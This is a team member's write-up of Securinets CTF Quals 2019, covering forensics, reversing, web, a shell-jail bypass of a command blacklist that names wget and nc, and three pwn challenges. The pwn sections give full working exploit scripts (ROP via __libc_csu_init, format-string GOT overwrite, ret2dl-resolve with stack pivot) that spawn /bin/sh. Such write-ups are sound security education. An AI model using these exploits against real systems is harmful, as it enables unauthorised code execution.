Securinets CTF Quals 2019 took place from 24th March, 02:00 JST for 24 hours.
Our new team zer0pts
got 23393pts and stood 2nd place.
I solved 9 challenges and got 7570pts.
Thank you Securinets CTF for the great challs!
- [Foren 200pts] Easy Trade
- [Reversing 980pts] Warmup: Welcome to securinets CTF!
- [Pwn 436pts] Welcome
- [Pwn 975pts] Baby one
- [Pwn 998pts] Simple
- [Web 989pts] Trading values
- [Foren 994pts] Cat Hunting
- [Pwn 1000pts] Baby two
- [Foren 998pts] LOST FLAG
The challs and solvers can be found here.
I use my own library to solve pwn challs. It's quite similar to pwntools but it's for python 3.
[Foren 200pts] Easy Trade
Description: We just intercepted some newbies trying to trade flags. File: foren_trade.pcap
A zip file and its password are transferred over the network. I extracted the zip by wireshark and unzipped it with the password. The flag was in the zip file.
[Reversing 980pts] Warmup: Welcome to securinets CTF!
Description: Welcome Reversers! Let's start with this. Can u break the algorithm and give me the flag ? File: warmup
It's a 64-bit binary which checks the flag. I tried to find the correct input by using angr, which resulted in failure. So, I disassembled the binary with IDA and found many function calls. The next thing I tried to do was analyse the binary with gdb but gdb couldn't execute the binary somehow.
Now, let's analyse the binary statically.
After we input the pass code, it stores our input to an array byte by byte and calls malloc.
Then, a function sub_8EC
is called.
As we can understand from the output of ltrace, sub_8EC
is a base64 encoder.
$ ltrace -s 1000 ./warmup puts("Welcome to securinets quals CTF :)"Welcome to securinets quals CTF :) ) = 35 printf("PASSCODE:") = 9 fgets(PASSCODE:ABC123 "ABC123\n", 100, 0x7f5d869f0640) = 0x5590e3bc20e0 strlen("ABC123\n") = 7 ... strlen("ABC123\n") = 7 malloc(137) = 0x5590e58b2010 strlen("QUJDMTIzCv4AAAQAAADY/rD+AAAQ/mhd4F3PXQAAEP4AAAAAAADgXQAAAAAAAAAAAABoXSD+EP4mACddRQAYXXD+IF0AAHYAcP7CAND+4P4JAG1ddgAAAAAA/wABAM2Q0P4AAA==") = 136
After the base64-encoded string is generated, it cuts out the string until the character 'C' comes. We can see dozens of calls after that, which checks the substring. I analysed these functions and finally found the next constrains on the substring.
alphanumeric = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" assert alphanumeric.index(flag[0]) == 0x1c assert alphanumeric.index(flag[0]) + alphanumeric.index(flag[1]) == alphanumeric.index(flag[2]) assert alphanumeric.index(flag[0]) + alphanumeric.index(flag[1]) >> 2 == alphanumeric.index(flag[10]) assert flag[10] == flag[2] assert alphanumeric.index(flag[1]) == 0x36 assert flag[3] == 0x6a assert flag[0] + 1 == flag[4] arr = [0, 0x0c, 0x16, 0x18] for i in range(4): assert flag[arr[i]] == flag[4] - 1 assert flag[11] + 9 == flag[1 + 0x22] assert flag[3] - 0x20 == flag[6] assert flag[11] == 1 + 0x2f assert flag[0x17] == 1 + 0x2f assert flag[0] - 1 == flag[8] assert flag[4] + 2 == flag[0x1b] assert flag[4] + 2 == flag[0x1f] assert flag[0x1b] + 7 == flag[9] assert flag[0x1b] + 7 == flag[0x19] arr = [0xd, 0x11, 0x15] for i in range(3): assert flag[arr[i]] == flag[1] + 1 assert flag[7] == 0x70 assert flag[0xf] == flag[7] + 3 assert flag[0xf] + 1 == flag[0xe] assert flag[0x13] == 0x7a assert flag[0] - 0x21 == flag[0x22] arr = [5, 0x14, 0x1d, 0xc4] x = 0x58 for i in range(4): x ^= flag[arr[i]] assert x == 0x58 assert flag[0x1a] == 1 + 0x30 assert flag[9] - 0x20 == flag[0x10] assert flag[0x10] == flag[0x1c] assert flag[1] == 0x32 assert flag[7] - 0x1e == flag[0x12] assert flag[0x12] == flag[0x1e] assert flag[4] == flag[0x20]
I wrote the following script to recover the substring.
table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" flag = [ord("X") for i in range(0x64)] flag[0] = ord(table[0x1c]) flag[1] = ord(table[0x36]) flag[2] = ord(table[(0x1c + 0x36) >> 2]) flag[10] = flag[2] flag[3] = 0x6a flag[4] = flag[0] + 1 for p in [0xc, 0x16, 0x18]: flag[p] = flag[4] - 1 flag[6] = flag[3] - 0x20 flag[11] = 0x2f + 1 flag[1 + 0x22] = flag[11] + 9 flag[0x17] = 1 + 0x2f flag[8] = flag[0] - 1 flag[0x1b] = flag[4] + 2 flag[0x1f] = flag[4] + 2 flag[9] = flag[0x1b] + 7 flag[0x19] = flag[0x1b] + 7 for p in [0xd, 0x11, 0x15]: flag[p] = flag[1] + 1 flag[7] = 0x70 flag[0xf] = flag[7] + 3 flag[0xe] = flag[0xf] + 1 flag[0x13] = 0x7a flag[0x22] = flag[0] - 0x21 flag[0x1a] = 1 + 0x30 flag[0x10] = flag[9] - 0x20 flag[0x1c] = flag[0x10] flag[0x12] = flag[7] - 0x1e flag[0x1e] = flag[0x12] flag[0x20] = flag[4] #for p in [5, 0x14, 0x1d, 0xc4]: # print(flag[p]) print(''.join(list(map(chr, flag))))
I decoded the base64 string (the last character must be 'C') and found the flag.
$ echo c2UjdXJpbmU0c3tsM3RzX3c0cm1fMXRfdXB9C | base64 -d se#urine4s{l3ts_w4rm_1t_up}
The correct flag is securinets{l3ts_w4rm_1t_up}
.
[Pwn 436pts] Welcome
Description: Unlike other CTFs we build a custom welcome for u \o/ Your goal is to execute welcome binary ssh welcome@51.254.114.246 password : bc09c4a0a957b3c6d8adbb47ab0419f7
It's a jail challenge. The following terms are prohibited.
char * blacklist[]={"cat","head","less","more","cp","man","scp","xxd","dd","od","python","perl","ruby","tac","rev","xz","tar","zip","gzip","mv","flag","txt","python","perl","vi","vim","nano","pico","awk","grep","egrep","echo","find","exec","eval","regexp","tail","head","less","cut","tr","pg","du","`","$","(",")","#","bzip2","cmp","split","paste","diff","fgrep","gawk","iconv","ln","most","open","print","read","{","}","sort","uniq","tee","wget","nc","hexdump","HOSTTYPE","$","arch","env","tmp","dev","shm","lock","run","var","snap","nano","read","readlink","zcat","tailf","zcmp","zdiff","zegrep","zdiff"};
I used sed
to see the contents of flag.txt
.
$ ./wrapper Welcome to Securinets Quals CTF o/ Enter string: sed -u '' *.t* securinets{who_needs_exec_flag_when_you_have_linker_reloaded_last_time!!!?}
[Pwn 975pts] Baby one
Description: Can you prove you are not a baby anymore ? service is running at : nc 51.254.114.246 1111
We have a 64-bit binary.
$ checksec baby1 [*] 'baby1' Arch: 64 bits (little endian) NX: NX enabled SSP: SSP disabled (No canary found) RELRO: Partial RELRO PIE: PIE disabled
It has a function main
in which we can find a stack overflow.
push rbp mov rbp, rsp sub rsp, 30h mov rax, cs:__bss_start mov ecx, 0 ; n mov edx, 2 ; modes mov esi, 0 ; buf mov rdi, rax ; stream call _setvbuf mov edx, 1Dh ; n mov esi, offset aWelcomeToSecur ; "Welcome to securinets Quals!\n" mov edi, 1 ; fd mov eax, 0 call _write lea rax, [rbp+buf] mov edx, 12Ch ; nbytes mov rsi, rax ; buf mov edi, 0 ; fd mov eax, 0 call _read xor rdx, rdx nop leave retn
I thought it was a simple stack overflow challenge.
We can just write the contents of the GOT to leak libc?
No, there is xor rdx, rdx;
right before leave; ret;
.
This means the argument nbytes
for both read
and write
becomes zero.
So, we can't read
or write
anything.
There is no ROP gadget like pop rdx
.
As I analysed the binary, I found a useful gadget(?) in __libc_csu_init
.
In 0x4006BA (right after add rsp, 8
) we can set arbitrary values to rbx
, rbp
, r12
, r13
, r14
, r15
.
In 0x4006A0 we can call [r12+rbx*8]
after setting rdx
, rsi
, edi
to r13
, r14
, r15d
respectively.
This means we may call an arbitrary function with maximum 3 arguments, if the function address is written in the memory (whose address is known).
And yes, we have those addresses in GOT!
After the function call ends, it increments rbx
and compares rbx
with rbp
.
I set rbx
to 0 to simplify the call, so I have to set rbp
to 1 to get out of the loop.
After that, add rsp, 8
will be done and we'll reach to 0x4006BA again.
This means we can call arbitrary functions again and again.
I wrote the following script to leak the address of write
and setvbuf
.
from ptrlib import * elf = ELF("./baby1") sock = Socket("51.254.114.246", 1111) #sock = Socket("127.0.0.1", 4001) #_ = input() plt_write = 0x004004b0 plt_read = 0x004004c0 plt_setvbuf = 0x004004e0 plt_resolve = 0x004004a0 rop_pop_rdi = 0x004006c3 rop_pop_rsi_pop_r15 = 0x004006c1 rop_libc_csu_init = 0x004006ba call_libc_csu_init = 0x004006a0 payload = b'A' * 0x38 payload += p64(rop_libc_csu_init) payload += p64(0) # rbx payload += p64(1) # rbp --> loop max payload += p64(elf.got("write")) # r12 --> call [r12] payload += p64(8) # r13 --> rdx payload += p64(elf.got("write")) # r14 --> rsi payload += p64(1) # r15 --> rdi payload += p64(call_libc_csu_init) payload += b'A' * 8 # add rsp, 8 payload += p64(0) # rbx payload += p64(1) # rbp --> loop max payload += p64(elf.got("write")) # r12 --> call [r12] payload += p64(8) # r13 --> rdx payload += p64(elf.got("setvbuf")) # r14 --> rsi payload += p64(1) # r15 --> rdi payload += p64(call_libc_csu_init) sock.recvline() sock.send(payload) addr1 = u64(sock.recv(8)) addr2 = u64(sock.recv(8)) dump("addr1 = " + hex(addr1)) dump("addr2 = " + hex(addr2)) sock.interactive()
And found the libc version from libc database.
$ python leak.py [+] Socket: Successfully connected to 51.254.114.246:1111 [ptrlib] addr1 = 0x7f98f19512b0 [ptrlib] addr2 = 0x7f98f18c9e70 [ptrlib]$
The libc for the server is libc6_2.23-0ubuntu11_amd64.so
.
Now we can just call system("/bin/sh")
after leaking the libc base.
from ptrlib import * elf = ELF("./baby1") libc = ELF("./libc6_2.23-0ubuntu11_amd64.so") sock = Socket("51.254.114.246", 1111) #libc = ELF("/lib64/libc.so.6") #sock = Socket("127.0.0.1", 4001) #_ = input() plt_write = 0x004004b0 plt_read = 0x004004c0 plt_setvbuf = 0x004004e0 plt_resolve = 0x004004a0 rop_pop_rdi = 0x004006c3 rop_pop_rsi_pop_r15 = 0x004006c1 rop_libc_csu_init = 0x004006ba call_libc_csu_init = 0x004006a0 """ Stage 1 """ payload = b'A' * 0x38 payload += p64(rop_libc_csu_init) payload += p64(0) # rbx payload += p64(1) # rbp --> loop max payload += p64(elf.got("write")) # r12 --> call [r12] payload += p64(8) # r13 --> rdx payload += p64(elf.got("write")) # r14 --> rsi payload += p64(1) # r15 --> rdi payload += p64(call_libc_csu_init) payload += b'A' * 8 # add rsp, 8 payload += p64(0) # rbx payload += p64(0) # rbp --> loop max payload += p64(0x400018) # r12 --> call [r12] payload += p64(0) # r13 --> rdx payload += p64(0) # r14 --> rsi payload += p64(0) # r15 --> rdi payload += p64(call_libc_csu_init) sock.recvline() sock.send(payload) addr = u64(sock.recv(8)) libc_base = addr - libc.symbol("write") addr_system = libc_base + libc.symbol("system") addr_binsh = libc_base + next(libc.find("/bin/sh")) dump("libc base = " + hex(libc_base)) """ Stage 2 """ sock.recvline() addr_store = elf.symbol("__bss_start") + 8 payload = b'A' * 0x38 payload += p64(rop_libc_csu_init) payload += p64(0) # rbx payload += p64(1) # rbp --> loop max payload += p64(elf.got("read")) # r12 --> call [r12] payload += p64(8) # r13 --> rdx payload += p64(addr_store) # r14 --> rsi payload += p64(0) # r15 --> rdi payload += p64(call_libc_csu_init) payload += b'A' * 8 # add rsp, 8 payload += p64(0) # rbx payload += p64(0) # rbp --> loop max payload += p64(0x400018) # r12 --> call [r12] payload += p64(0) # r13 --> rdx payload += p64(0) # r14 --> rsi payload += p64(0) # r15 --> rdi payload += p64(call_libc_csu_init) payload = payload + b'X' * (0x12c - len(payload)) sock.send(payload) sock.send(p64(addr_system)) dump("wrote <system> to " + hex(addr_store)) """ Stage 3 """ sock.recvline() call_libc_csu_init_direct = 0x004006a9 payload = b'A' * 0x38 payload += p64(rop_libc_csu_init) payload += p64(0) # rbx payload += p64(1) # rbp --> loop max payload += p64(addr_store) # r12 --> call [r12] payload += p64(0) # r13 --> rdx payload += p64(0) # r14 --> rsi payload += p64(0) # r15 --> rdi payload += p64(rop_pop_rdi) payload += p64(addr_binsh) payload += p64(call_libc_csu_init_direct) sock.send(payload) sock.interactive()
Perfect!
$ python solve.py [+] Socket: Successfully connected to 51.254.114.246:1111 [ptrlib] libc base = 0x7fba4dce4000 [ptrlib] wrote <system> to 0x601050 [ptrlib]$ ls [ptrlib]$ baby1 flag.txt main.c [ptrlib]$ cat flag.txt [ptrlib]$ securinets{controlling_rdx_for_the_win}
[Pwn 998pts] Simple
Description: I build a simple alternative to "cat" command, am i doing something wrong ? Service is running at : nc 51.254.114.246 4444
It's a 64-bit binary with SSP enabled.
$ checksec simple [*] 'simple' Arch: 64 bits (little endian) NX: NX enabled SSP: SSP enabled (Canary found) RELRO: Partial RELRO PIE: PIE disabled
We can send a text (in 0x3f bytes) and the server replies the text.
Obviously it's a format string bug.
The program calls perror
after the printf
, so we can overwrite the GOT of perror
to get RIP.
There are 3 stages:
- Leak the libc address and set the GOT address of
perror
to the address of_start
- Set the GOT address of
printf
to the address ofsystem
- Send
/bin/sh\x00
andsystem("/bin/sh")
will be called
Just make sure to put the address at the last in FSB because printf
only reads the buffer before a NULL byte.
I used the same libc as that of Baby one.
from ptrlib import * elf = ELF("./simple") libc = ELF("./libc6_2.23-0ubuntu11_amd64.so") diff = 0xf0 sock = Socket("51.254.114.246", 4444) #libc = ELF("/lib64/libc.so.6") #diff = 0xf5 #sock = Socket("127.0.0.1", 4000) _ = input() addr_main = elf.symbol("main") got_perror = elf.got("perror") got_printf = elf.got("printf") """ Stage 1 """ writes = {} for i in range(2): writes[got_perror + i] = (addr_main >> (8 * i)) & 0xFF payload = '%17$p....' offset = 6 + 32 // 8 n = 4 + 14 for (i, addr) in enumerate(writes): l = (writes[addr] - n - 1) % 256 + 1 payload += '%{}c%{}$hhn'.format(l, offset + i) n += l assert len(payload) == (offset - 6) * 8 payload = str2bytes(payload) for addr in writes: payload += p64(addr) assert len(payload) < 0x40 payload = payload + b'\x00' * (0x3f - len(payload)) sock.send(payload) addr = int(sock.recvuntil(".").rstrip(b"."), 16) libc_base = addr - libc.symbol("__libc_start_main") - diff addr_system = libc_base + libc.symbol("system") dump("libc base = " + hex(libc_base)) """ Stage 2 """ writes = {} for i in range(3): writes[got_printf + i] = (addr_system >> (8 * i)) & 0xFF payload = '' offset = 6 + 40 // 8 n = 0 for (i, addr) in enumerate(writes): l = (writes[addr] - n - 1) % 256 + 1 payload += '%{}c%{}$hhn'.format(l, offset + i) n += l payload += 'A' * (40 - len(payload)) assert len(payload) == (offset - 6) * 8 payload = str2bytes(payload) for addr in writes: payload += p64(addr) assert len(payload) <= 0x40 payload = payload + b'\x00' * (0x3f - len(payload)) sock.send(payload) """ Stage 3 """ sock.send("/bin/sh\x00") sock.interactive()
FSB is fun!
$ python solve.py [+] Socket: Successfully connected to 51.254.114.246:4444 [ptrlib] libc base = 0x7fa6d5907000 [ptrlib]$ ls ... ° ?@` P ? `AAAAA `[ptrlib]$ flag.txt main.c simple cat flag.txt [ptrlib]$ securinets{format_string_rule_the_world!}
[Web 989pts] Trading values
Description: N00B developers are an easy target. Try to exploit the application feature to get the hidden flag. URL: https://web1.ctfsecurinets.com/
We can see a GET in the source code.
$.get( "/default", { "formula": formula, "values":{"v1": "STC","v2":"PLA","v3":"SDF","v4":"OCK"} } )
I found a curious result by passing v1
as the formula.
import base64 import requests payload = { "formula": base64.b64encode(b"v1"), "values[v1]": "STC", "values[v2]": "PLA", "values[v3]": "SDF", "values[v4]": "OCK", } r = requests.get("https://web1.ctfsecurinets.com/default", params=payload) print(r.text)
It seems "STC" is a class name.
object(App\Entity\STC)#233 (4) { ["id":"App\Entity\STC":private]=> NULL ["avg"]=> int(429) ["mpk"]=> int(33) ["drf"]=> int(63) }
I had been stuck here for a while, but the admin told me that STC
becomes $STC
.
So, I tried several super global variables such as GLOBALS
or _ENV
.
After several trials I found this
becomes $this
, which means we can see the instance itself.
The flag was written in object(Symfony\Component\HttpFoundation\ServerBag)
.
object(App\Controller\DefaultController)#37 (1) { ["container":protected]=> object(Symfony\Component\DependencyInjection\Argument\ServiceLocator)#136 (6) { ... ["FLAG"]=> string(47) "Securinets{T00_Ea5y_T0_U5e_This_Local_variable}" ...
[Foren 994pts] Cat Hunting
Description: We got an anonymous note that a student is downloading illegal contents like 'cat pictures' ! We confiscated his PC and got a memory dump before returning it. Your job now is to follow his traces and find out how he gets them. File: cat_hunting.zip
I did a search for the word cat
as the description says and found two curious files.
$ vol.py -f cat_hunting --profile=Win7SP1x64 filescan | grep cat ... 0x000000001dec9430 16 0 -W-rw- \Device\HarddiskVolume2\Users\Noxious\Desktop\cat (8).jpgcat (8).jpg 0x000000001e10a340 16 0 R--r-- \Device\HarddiskVolume2\Users\Noxious\Desktop\cat (9).jpg ...
I dumped them and opened it with hexdump.
00000000 ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 |......JFIF.....`| 00000010 00 60 00 00 ff e1 0b 3e 68 74 74 70 3a 2f 2f 6e |.`.....>http://n| ... 00000160 71 3e 0d 0a 09 09 09 09 09 3c 72 64 66 3a 6c 69 |q>.......<rdf:li| 00000170 3e 39 39 2e 38 30 2e 36 38 2e 31 34 31 3c 2f 72 |>99.80.68.141</r| 00000180 64 66 3a 6c 69 3e 0d 0a 09 09 09 09 3c 2f 72 64 |df:li>......</rd| ...
It's a normal JPEG image but it has an IP address 99.80.68.141
.
The IP address can be confirmed in the result of netscan
too.
$ vol.py -f cat_hunting --profile=Win7SP1x64 netscan Volatility Foundation Volatility Framework 2.6.1 Offset(P) Proto Local Address Foreign Address State Pid Owner Created 0x1e1967f0 UDPv4 0.0.0.0:3702 *:* 1312 svchost.exe 2019-03-20 14:14:55 UTC+0000 0x1e1f09c0 UDPv4 0.0.0.0:3702 *:* 1312 svchost.exe 2019-03-20 14:14:55 UTC+0000 ... 0x1e7140f0 TCPv6 :::445 :::0 LISTENING 4 System 0x1e131cf0 TCPv4 -:49176 99.80.68.141:80 CLOSED 1088 firefox.exe 0x1e5ce450 TCPv6 -:0 383b:1a02:80fa:ffff:984c:2202:80fa:ffff:0 CLOSED 1 pU???? ...
This IP address must be a part of the challenge. The page looks like this:
I couldn't find any account info from the memdump and had been stuck here for a while.
I used dirsearch to gather information and found a directory /img
.
$ ./dirsearch.py -u http://99.80.68.141/ -e '' ... [14:37:38] 403 - 295B - /.htusers [14:38:43] 301 - 310B - /img -> http://99.80.68.141/img/ [14:38:45] 200 - 2KB - /index.php [14:38:45] 200 - 2KB - /index.php/login/ [14:39:16] 403 - 300B - /server-status ...
The filename I dumped was cat (9).jpg
so I accessed to http://99.80.68.141/img/cat (9).jpg
and found the samge image.
The result of iehistory
says there were several images other than cat (9).jpg
.
... Process: 1896 explorer.exe Cache type "URL " at 0x2705500 Record length: 0x100 Location: :2019032020190321: Noxious@file:///C:/Users/Noxious/Desktop/cat%20(11).jpg Last modified: 2019-03-20 15:17:16 UTC+0000 Last accessed: 2019-03-20 14:17:16 UTC+0000 File Offset: 0x100, Data Offset: 0x0, Data Length: 0x0 ...
I accessed to those cat images and found cat (11).jpg
was broken.
The contents of the file is actually the base64-encoded flag.
$ cat "cat (11).jpg" c2VjdXJpbmV0c3tkMjU3MzZmZWJmZDgwOWVjNGViYTc2YjBhYWU5ZWFiMH0K $ cat "cat (11).jpg" | base64 -d securinets{d25736febfd809ec4eba76b0aae9eab0}
[Pwn 1000pts] Baby two
This is the best challenge for me in this CTF. Actually I was really confused when the admin changed the binary from 64-bit to 32-bit, as my exploit for 64-bit binary went for nothing. I've never seen a situation like this, the architecture changes during the competition, haha. They announced it would make the challenge easier, but the truth was the opposite. Anyway let's see the challenge.
Description:What about no greeting for u ? service is running at : nc 51.254.114.246 2222 File: baby2
It's a 32-bit binary after the update.
$ checksec baby2 [*] 'baby2' Arch: 32 bits (little endian) NX: NX enabled SSP: SSP disabled (No canary found) RELRO: Partial RELRO PIE: PIE disabled
It seems similar to baby1 but there are some differences.
lea ecx, [esp+4] and esp, 0FFFFFFF0h push dword ptr [ecx-4] push ebp mov ebp, esp push ecx sub esp, 34h mov eax, ds:__bss_start push 0 push 2 push 0 push eax call _setvbuf add esp, 10h sub esp, 4 push 12Ch lea eax, [ebp+buffer] push eax push 0 call _read add esp, 10h nop mov ecx, [ebp+var_4] leave lea esp, [ecx-4] retn
The major change is it has no write
function, which means we can't leak the address of libc.
This problem can be solved by using ret2dl-resolve attack.
And the minor change, the evil part, is the stack layout.
As you can understand from the assembly above, there is lea esp, [ecx-4];
right after leave!
This means the stack pointer changes before our ROP chain works.
Let's see the stack before leave
.
gdb-peda$ x/32wx $esp 0xffffccf0: 0xffffffff 0xffffcd18 0x41414141 0x42424242 0xffffcd00: 0x43434343 0x00c1000a 0x00000001 0x080484fb 0xffffcd10: 0x00000001 0xffffcdd4 0xffffcddc 0x080484d1 0xffffcd20: 0xf7fb33c4 0xffffcd40 0x00000000 0xf7e061c3 0xffffcd30: 0x080484b0 0x00000000 0x00000000 0xf7e061c3 0xffffcd40: 0x00000001 0xffffcdd4 0xffffcddc 0xf7fd86c0 0xffffcd50: 0x00000001 0x00000001 0x00000000 0x0804a010 0xffffcd60: 0x08048240 0xf7fb3000 0x00000000 0x00000000
var_4
is 0xffffcd40 now.
And esp will be 0xffffcd40-4=0xffffcd3c if there are no overflow.
Our input is at 0xffffccf8, which is close to 0xffffcd3c.
So, I realized I could overwrite the first byte of var_4
and make esp become our buffer address.
Thus, we may run our small ROP chain crafted in our buffer with one-by-off.
However, it's probabilistic so I set a "ret sled" in the buffer, which is just a chain of ret
gadget.
This way, we can increase the possibility that our ROP chain works.
(Same principle as nop sled for shellcode.)
I divided my exploit into 3 stages.
- Read and store the 3rd stage payload into
.bss + 0x800
and jump to_start
- Stack pivot to make esp be
.bss + 0x800
bylea esp, [ecx-0x4]
- Craft
reloc
,sym
,system
address,/bin/sh\x00
on the.bss
section and call.plt
from ptrlib import * import time elf = ELF("./baby2") addr_plt = 0x08048320 addr_start = elf.symbol("_start") addr_relplt = elf.section(".rel.plt") addr_dynsym = elf.section(".dynsym") addr_dynstr = elf.section(".dynstr") addr_bss = elf.section(".bss") rop_pop3 = 0x08048509 rop_ret = 0x080482fa fname = "system\x00" farg = "/bin/sh\x00" plt_read = 0x08048330 base_stage = addr_bss + 0x800 addr_reloc = addr_bss + 0xa00 addr_sym = addr_bss + 0xa80 | (addr_dynsym & 0xF) addr_str = addr_bss + 8 addr_arg = addr_str + len(fname) # Elf32_Rel reloc = p32(elf.got('setvbuf')) reloc += p32((((addr_sym - addr_dynsym) // 0x10) << 8) | 7) # Elf32_Sym sym = p32(addr_str - addr_dynstr) sym += p32(0) sym += p32(0) sym += p32(0x12) def craft_read(addr, size): payload = p32(plt_read) payload += p32(rop_pop3) payload += p32(0) # fd payload += p32(addr) # buf payload += p32(size) # size return payload #sock = Socket("127.0.0.1", 4001) sock = Socket("51.254.114.246", 2222) """ Stage 1 (probabilistic write) """ payload1 = b'' payload1 += p32(rop_ret) * ((0x2c - 6 * 4) // 4) payload1 += craft_read(base_stage, 0x100) # 5 * 4 payload1 += p32(addr_start) # 4 payload1 += bytes([0x20]) """ Stage 2 (stack pivot) """ payload2 = b'A' * 0x2c payload2 += p32(base_stage + 4) payload2 += b'\x00' * (0x12c - len(payload2)) """ Stage 3 (craft) """ reloc_offset = addr_reloc - addr_relplt payload3 = b'' payload3 += craft_read(addr_reloc, 0x8) payload3 += craft_read(addr_sym, 0x10) payload3 += craft_read(addr_str, len(fname)) payload3 += craft_read(addr_arg, len(farg)) payload3 += p32(addr_plt) payload3 += p32(reloc_offset) payload3 += b"XXXX" payload3 += p32(addr_arg) payload3 += b"\x00" * (0x100 - len(payload3)) # Stage 1 sock.send(payload1) time.sleep(0.5) sock.send(payload3) # Stage 2 sock.send(payload2) # Stage 3 sock.send(reloc) sock.send(sym) sock.send(fname) sock.send(farg) sock.interactive()
Thanks to the "ret sled," my exploit worked in only 3 trials :)
$ python exploit.py [+] Socket: Successfully connected to 51.254.114.246:2222 [ptrlib]$ ls [WARN] send: Broken pipe [ptrlib]$ ^C[+] close: Connection to 51.254.114.246:2222 closed $ python exploit.py [+] Socket: Successfully connected to 51.254.114.246:2222 [ptrlib]$ ls [ptrlib]$ ls [ptrlib]$ ls lha [ptrlib]$ ls -lha [WARN] send: Broken pipe [ptrlib]$ ^C[+] close: Connection to 51.254.114.246:2222 closed $ python exploit.py [+] Socket: Successfully connected to 51.254.114.246:2222 [ptrlib]$ ls [ptrlib]$ baby2 flag.txt main.c cat flag.txt [ptrlib]$ securinets{what_about_ret_to_dl_resolve_hein}
[Foren 998pts] LOST FLAG
Description: Help me get back my flag ! URL: https://web8.ctfsecurinets.com/
We can login as admin
/admin
but the flag is deleted.
I used dirsearch and found /.bzr/README
.
$ ./dirsearch.py -u https://web8.ctfsecurinets.com/ -e "" ... [15:13:56] 200 - 5KB - / [15:13:56] 400 - 182B - /%2e%2e/google.com [15:13:57] 200 - 147B - /.bzr/README [15:14:15] 301 - 185B - /__MACOSX -> http://web8.ctfsecurinets.com/__MACOSX/ [15:14:25] 200 - 39B - /admin.php ...
I cloned it by bzr clone https://web8.ctfsecurinets.com/
and reverted the commit, restored the flag.